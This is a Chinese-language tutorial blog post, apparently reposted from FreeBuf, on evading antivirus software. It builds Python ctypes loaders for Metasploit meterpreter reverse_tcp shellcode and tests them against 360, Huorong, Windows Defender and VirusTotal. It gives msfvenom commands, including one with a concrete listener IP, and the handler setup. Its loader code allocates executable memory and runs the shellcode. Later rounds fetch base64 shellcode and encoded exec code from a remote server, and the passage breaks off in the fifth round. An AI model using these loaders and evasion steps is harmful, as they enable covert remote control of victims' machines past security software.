相关文章推荐
重情义的冲锋衣  ·  JSR 356 (Java API for ...·  4 周前    · 
爱喝酒的橙子  ·  正则表达式 ...·  5 月前    · 
捣蛋的眼镜  ·  【微机原理】实验五 ...·  1 年前    · 
爽快的莲藕  ·  python 等待输入 ...·  1 年前    · 
备案 控制台
学习
实践
活动
专区
工具
TVP
写文章
专栏首页 FreeBuf 免杀初探:python加载shellcode免杀与国内主流杀软大战六个回合
1 0

海报分享

免杀初探:python加载shellcode免杀与国内主流杀软大战六个回合

前言

本文整理自小迪师傅近期课程以及本人实验时所踩的一些坑和思路。文章由浅入深,可以让你从免杀小白到免杀入门者,能够绕过火绒和360等国内主流安全软件,成功上线msf。本人也是刚接触免杀,若有说得不对的地方,欢迎大佬们及时提出指正。关于本人在实验过程中所踩的一些坑会在文中提醒大家,让大家尽量少入坑。

注:以下实验截图均为本人发稿时重新测试所截

0X00 基础概念

1. python ctypes模块介绍

ctypes是 Python的外部函数库。它提供了与 C 兼容的数据类型,并允许调用 DLL 或共享库中的函数。具体可参考文末的官方文档

2. dll动态链接库

动态链接库是微软公司在微软Windows操作系统中,实现共享函数库概念的一种方式。其后缀名多为.dll, dll文件中包含一个或多个已被编译、链接并与使用它们的进程分开存储的函数。我们经常在程序安装目录下看到它们。

3. pyinstaller

可直接将python语言编写的py程序打包为exe可执行文件,而不需要安装python环境即可直接运行。使用pip安装即可

打包常用命令:

pyinstaller -F -w x.py

4. shellcode

shellcode是一段用于利用软件漏洞而执行的代码,格式为16进制的机器码。因为经常让攻击者获得shell而得名。shellcode常常使用底层语言编写,如c/c++,汇编。

注意:shellcode是16进制格式的,字节流的数据,很底层。所以我们需要了解下它的执行过程,分为四步:(1)申请一片内存;(2)将shellcode放到申请的内存当中;(3)创建线程;(4)执行。了解了这个过程,就好理解后面的代码了

5.关于windows defender

Win10系统中自带的防护软件,默认开启,当用户安装了别的防病毒软件时,会自己关闭,需要用户自己手动开启。

6. 实验环境介绍

本机win10 x64位 安装了火绒安全软件,visual studio2019,pycharm,python3.9.5 x64位

腾讯云服务器:debian10,添加了kali源,安装了msf

测试机器1:虚拟机win10 x64位,不安装任何杀毒软件,使用自带的windows defender

测试机器2:虚拟机win10 x64位,安装了电脑管家,360安全卫士,360杀毒

测试机器3:虚拟机win7 x64位,不能执行win10下用pyinstaller打包的成的exe文件,安装了电脑管家,360安全卫士,360杀毒,测试杀软的静态查杀能力

注:本文中所有杀软均为默认设置,且病毒库升级到最新

0x01 开胃小菜

1. ctypes模块调用dll动态链接库并调用函数

首先我们来生成一个简单的dll文件,打开visual studio 2019创建一个动态链接库(dll)项目,可以看到预写入一些代码,我们不用管它,直接加入以下代码:

#include <stdio.h>
extern "C" _declspec(dllexport) void TestCtypes() {
                   printf("hello world!\n");
}

有点c/c++基础的师傅们,就不难理解这段代码。对于小白,这里还是解释一下:

是预处理指令。#include\就是在程序编译之前将头文件stdio.h包含进来,因为我们要用到它里面的printf()打印函数

extern “C”:这里由于文件后缀为.cpp,即c++文件,而ctypes只能调用C函数,c和c++ 编译方式又不太一样,如果在编译时把c的代码用c++方式编译,会产生错误。故在c++引入c的库时要加extern “C”

__declspec(dllexport):用在函数声明前,此前缀是用来实现生成dll文件时可以被导出至dll,即提供调用接口

void TestCtypes():定义一个返回为空,名为TestCtypes的函数,该函数是打印hello world!

接下来,点击生成→生成解决方案即可生成一个.dll文件

那么如何使用python加载dll,并调用里面的函数呢?

很简单,几行代码搞定:

from ctypes import *
#加载dll
lib=CDLL('./DLL1')
#调用当前dll中的方法
lib.TestCtypes()

这里CDLL是ctypes模块加载dll的方式,除此之外还有WinDLL,windll.LoadLibrary,cdll.LoadLibrary

最后将刚才生成的DLL文件放到py文件同目录下,运行py文件:

注意这里有坑,如果你的python是64位的,生成dll 文件时debug一定要选x64,不然运行py文件调用dll时会报错,32位python就是默认的x86

2. C编译并执行shellcode

我们先用msf生成一段C的shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=x.x.x.x lport=8080 -f c

打开visual studio创建一个空项目Project1,在源文件中新建一个shell.c文件

下面的代码是网上公开的最简单的一段执行shellcode的代码

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")    //windows控制台程序不出黑窗口
unsigned char buf[] =”shellcode”
main()
    char* Memory;
    Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请一块可读写可执行的内存,sizeof()为C语言中计算字节的函数
    memcpy(Memory, buf, sizeof(buf));       //将shellcode拷贝到申请的内存当中
    ((void(*)())Memory)();
    return 0;
}

unsigned char buf[]是定义一个无符号字符串数组变量buf,shellcode就是把刚才msf中生成的shellcode带引号和分号拷贝过来

我们主要来看下 main函数中相关函数作用和参数

VirtualAlloc()函数的作用是申请一块内存空间

参数:

LPVOID VirtualAlloc{

LPVOID lpAddress, // 要分配的内存区域的起始地址

DWORD dwSize, // 分配的大小

DWORD flAllocationType, // 分配的类型

DWORD flProtect // 该内存的初始保护属性

};

MEM_COMMIT | MEM_RESERVE 表示为指定地址空间提交物理内存或保留指定地址空间,不分配物理内存

PAGE_EXECUTE_READWRITE 表示可读写可执行

Memcpy() 内存拷贝函数,函数的功能是从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中

语法参数:

void *memcpy(void *destin, void *source, unsigned n);

destin -- 指向用于存储复制内容的目标数组,类型强制转换为 void* 指针。

source -- 指向要复制的数据源,类型强制转换为 void* 指针。

n -- 要被复制的字节数。

在刚开始学习的时候一定要注意理解网上已有的公开代码,这样后面会越学越轻松的,另外就算我们对某种语言不了解,看函数名也能大致知道函数的作用了,这就是学习方法。

将代码编写好,最后点击生成→生成解决方案,将其编译为exe文件

注意此处有坑,生成解决方案时请在工具栏中选择release x86,不然会报如下错,win7,win10都一样

看下免杀效果:火绒,360,defender直接查杀

电脑管家没报毒(轻松绕过,后面可以直接关闭,无视它了)

msf开启监听:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8080

执行exe,测试机器2成功上线,并能执行命令:

将生成的exe文件上传到Virustotal.com看下查杀率:30/67

3. python-ctypes模块加载shellcode

在网上公开的代码中,主要有两种写法

简单点的:

#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
#创建线程并执行shellcode
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

复杂点的:

#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)))
#创建线程并执行shellcode
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

本人在实验过程中第二种写法没运行成功过,故本文的实验都是在第一种写法的代码上进行的,来大致解释下各个函数的意义:

windll是载入动态库的方法,kernel32是win32系统的动态库,由此可以知道ctypes 对win32的系统和程序会有较好的支持,对于64位的程序可能并不那么友好(手动捂脸)

VirtualAlloc这个与C中的具有一样的功能,参数也是一样,0x3000就是表示MEM_COMMIT | MEM_RESERVE,0x40就是PAGE_EXECUTE_READWRITE,可读写可执行,这个百度一下C语言的VirtualAlloc函数就知道了

RtlMoveMemory与2中的memcpy函数一样,这里就不过多解释,想深入了解的可以搜下

create_string_buffer() 将shellcode写入内存中,python的byte对象是不可以修改的.如果需要可改变的内存块,需要create_string_buffer()函数

CreateThread()和WaitForSingleObject()

请参考:

https://blog.csdn.net/u012877472/article/details/4972165

0x02 免杀对抗

本文只讨论使用python-ctypes模块加载shellcode的免杀思路和效果

在进行免杀对抗前,先来了解下杀软的查杀原理:

一般是匹配特征码,行为监测,虚拟机(沙箱),内存查杀等。360和火绒主要使用特征码检测查杀病毒(云查杀也是特征码检测)。

第一回合:Ctypes模块直接加载shellcode执行

Msf中生成payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=x.x.x.x lport=8080 -f c

注意:我的python是64位的,在我的环境中如果采用windows/meterpreter/reverse_tcp这个payload,最后实验会失败;但在一些x64的python中又是可以的,这里大家多尝试

上代码:

import ctypes
shellcode= b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
shellcode+=b"\x48\x31\xd2\x51\x65\x48\x8b\x52\x60\x56\x48\x8b\x52\x18\x48"
.....................
shellcode+=b"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5"
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

可以看到这里加载执行shellcode的代码和上面是不太一样的,这是我环境的特殊性(再次捂脸),但在一些x64位的环境中又是没问题的,造成这样的原因是x86和x64的兼容性问题。具体的原因分析请参考文末的参考链接

经过测试,这里将c_uint64改为c_int64,c_void_p都能成功,

运行ms1.py,能成功上线并执行命令

打包:

pyinstaller -F -w ms1.py

注意:由于我是在windows10上打包的,所以打包后的exe只能在win10上运行,win7运行不了,且在打包过程中有这样的信息:

看下免杀效果:

360安全卫士,360杀毒居然没报!惊呆了

点击执行,测试机器2成功上线并能执行命令

本机火绒没杀,扫描时报毒,扫描界面开启时,点击程序并不能执行,但将扫描界面关闭,再点能成功上线并执行命令。

这教育我们别自己作,如果下载的破解版软件用杀软扫描报毒,别再运行了,除非你想当肉鸡(狗头)

windows defender没查杀,运行后上线,但随后连接被断开,且defender自动将程序杀掉,强,动态查杀

将ms1.exe文件上传到Virustotal.com看下查杀率:11/67

第二回合:shellcode进行base64编码,python调用执行

Msf生成shellcode:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=1.14.97.186 lport=8080 --encrypt base64 -f c

上代码:

import ctypes
import base64
encode_shellcode='''
\x2f\x45\x69\x44\x35\x50\x44\x6f\x7a\x41\x41\x41\x41\x45\x46
\x52\x51\x56\x42\x53\x53\x44\x48\x53\x55\x57\x56\x49\x69\x31
.........
\x2f\x2b\x64\x59\x61\x67\x42\x5a\x53\x63\x66\x43\x38\x4c\x57
\x69\x56\x76\x2f\x56
shellcode=base64.b64decode(encode_shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

注意:此处要将msf生成的shellcode去掉引号和分号

运行py成功并上线

pyinstaller打包,看下免杀效果:

测试机器3上扫描没报毒,拖到测试机器2上提示这个,点击允许,360扫描ms2.exe没报毒

有点奇怪,之前实验时没报这个。这里反复试验了几次,给文件改名也会弹出这个,点击允许,再用360扫描没报毒,ms2.exe直接不能拖进去

执行程序又能成功上线,很迷,我只能理解为360杀毒是不是不稳定,请大佬赐教。

windows defender没查杀,运行后上线,但随后连接被断开,且defender自动将程序杀掉,又是动态查杀,强!

火绒和第一回合结果一样

将ms2.exe文件上传到Virustotal.com看下查杀率:10/67

第三回合:无文件落地技术

1.写个python脚本将生成的经过编码的shellcode进行去空和去掉换行后,上传到服务器

代码:

encode_shellcode='''
base64过的shellcode
shellcode=encode_shellcode.strip().replace("\n","")
shell_file = open('8080.txt', 'w', encoding="utf-8")
shell_file.write(shellcode)
shell_file.close()

再写脚本去请求文件,并执行

代码:

import ctypes,base64,requests
encode_shellcode=requests.get("http://x.x.x.x/8080.txt").text
shellcode=base64.b64decode(encode_shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

运行成功,打包,看下效果:

360扫描没报毒,执行后能够成功上线并执行命令

火绒和前两个回合一样

Defender动态查杀

Virustotal查杀率:9/66

第四回合:shellcode编码无文件落地,执行代码编码

上代码:

import ctypes
import base64
import requests
encode_shellcode=requests.get("http://x.x.x.x/8080.txt").text
shellcode=base64.b64decode(encode_shellcode)
func=base64.b64decode(b'base64编码值')
exec(func)

注意:这里对执行代码进行base64编码时最好自己写代码或者利用工具,用网上的转码网站可能会实验失败

免杀效果:完美干掉360和火绒(注:这里执行代码不用全部编码也能过火绒,具体参考文末链接)

注:在本人前面的实验中,前三个回合火绒都是瞬间查杀的

Defender动态查杀

Virustotal查杀率:9/65

第五回合:shellcode编码和执行代码编码都无文件落地

代码:

import base64
import requests
import ctypes
encode_shellcode=requests.get("http://x.x.x.x/8080.txt").text
shellcode=base64.b64decode(encode_shellcode)
func=requests.get("http://x.x.x.x/ms.txt").text
func=base64.b64decode(func)